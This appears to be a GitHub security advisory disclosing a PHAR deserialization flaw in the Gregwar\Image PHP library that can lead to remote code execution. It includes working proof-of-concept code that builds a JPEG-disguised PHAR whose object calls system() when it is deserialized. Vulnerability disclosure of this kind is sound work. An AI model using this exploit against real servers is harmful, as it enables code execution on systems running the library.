-
Notifications
You must be signed in to change notification settings - Fork 188
Description
PHAR deserialization allowing remote code execution
Description
Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.
Proof of Concept (PoC)
there is a vulnerable example with : GD.php
GD.php line 610~617
protected function openJpeg($file)
{
if (file_exists($file) && filesize($file)) {
$this->resource = @imagecreatefromjpeg($file);
} else {
$this->resource = false;
}
}
- You can see there's a file_exists function, and when we pass in a JPEG file, it gets triggered.
- However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.
File.php line 29~61
public function guessType()
{
if (function_exists('exif_imagetype')) {
$type = @exif_imagetype($this->file);
if (false !== $type) {
if ($type == IMAGETYPE_JPEG) {
return 'jpeg';
}
if ($type == IMAGETYPE_GIF) {
return 'gif';
}
if ($type == IMAGETYPE_PNG) {
return 'png';
}
if ($type == IMAGETYPE_WEBP) {
return 'webp';
}
}
}
$parts = explode('.', $this->file);
$ext = strtolower($parts[count($parts) - 1]);
if (isset(Image::$types[$ext])) {
return Image::$types[$ext];
}
return 'jpeg';
}
- Thus, we create the PHAR file like this.
create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('poc.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php
- And we setup the following code in
/var/www/html: vuln.php represents our use ofgregwar/imagefunctions and poc.php represents code with a vulnerable POP chain.
poc.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
vuln.php
<?php
require_once 'vendor/autoload.php';
include 'poc.php';
use Gregwar\Image\Image;
Image::open('phar://poc.phar/')
->resize(500, 500)
->save('out.png', 'png');
- And execute vuln.php with php vuln.php, you should see whoami being executed
Mitigation
- Add a whitelist to enhance input validation.
Reference
https://github.com/Gregwar/Image/tree/master
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization


